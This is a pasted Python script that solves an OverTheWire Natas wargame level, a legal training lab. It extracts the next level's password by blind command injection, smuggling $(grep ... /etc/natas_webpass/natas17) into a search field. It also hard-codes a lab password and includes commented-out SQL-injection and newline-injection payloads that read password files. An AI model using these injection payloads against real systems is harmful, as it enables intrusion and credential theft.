Guest User

Untitled

a guest
May 1st, 2017
26
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.54 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import pycurl, requests
  4.  
  5. url = 'http://natas16.natas.labs.overthewire.org/index.php'
  6. username = 'natas16'
  7. password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
  8.  
  9. exists = 'administering'
  10. #doesnt_exist = 'This user doesn\'t exist.'
  11.  
  12. def checkChar(knownStr, nextChar):
  13.     ind = len(knownStr)
  14.     check = knownStr + nextChar + ('_'*(32-ind-1))
  15.     #urlAll = url+'?username=natas16" AND password LIKE BINARY "' + check
  16.     urlAll = url+'/?needle=$(grep -E ^'+knownStr+nextChar+'.* /etc/natas_webpass/natas17)administering&submit=Search'
  17.     #print urlAll
  18.     r = requests.get(urlAll, auth=(username, password))
  19.     #print r.status_code
  20.     #print r.headers
  21.     #print r.text
  22.     #raw_input()
  23.     return exists not in r.text
  24.     #return doesnt_exist not in r.text
  25.  
  26. knownStr = ""
  27. for i in range(len(knownStr) + 1, 33):
  28.   print i, "symbol brutes:",
  29.   charData = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
  30.   for char in charData:
  31.     print char,
  32.     if checkChar(knownStr, char):
  33.       knownStr += char
  34.       print 'Found'      
  35.       break
  36.   else:
  37.     print 'Not Found'  
  38.   print "knownStr", knownStr  
  39.  
  40. #<?php
  41. #
  42. #$key = 'index.php\ncat /mnt/hgfs/_Share/infosec/overthewire/natas/pass\n ';
  43. #if(preg_match('/[;|&`\'"]/',$key)) {
  44. #    print "Input contains an illegal character!";
  45. #} else {
  46. #    print "Everithing OK!\n";
  47. #    print "grep -i \"$key\" dictionary.txt\n";
  48. #    $pass = exec("grep -i \"$key\" dictionary.txt");
  49. #    print $pass;
  50. #}
  51. #
  52. ##intex.php%0Acat /etc/natas_webpass/natas16%0A
  53. #?>
Add Comment
Please, Sign In to add comment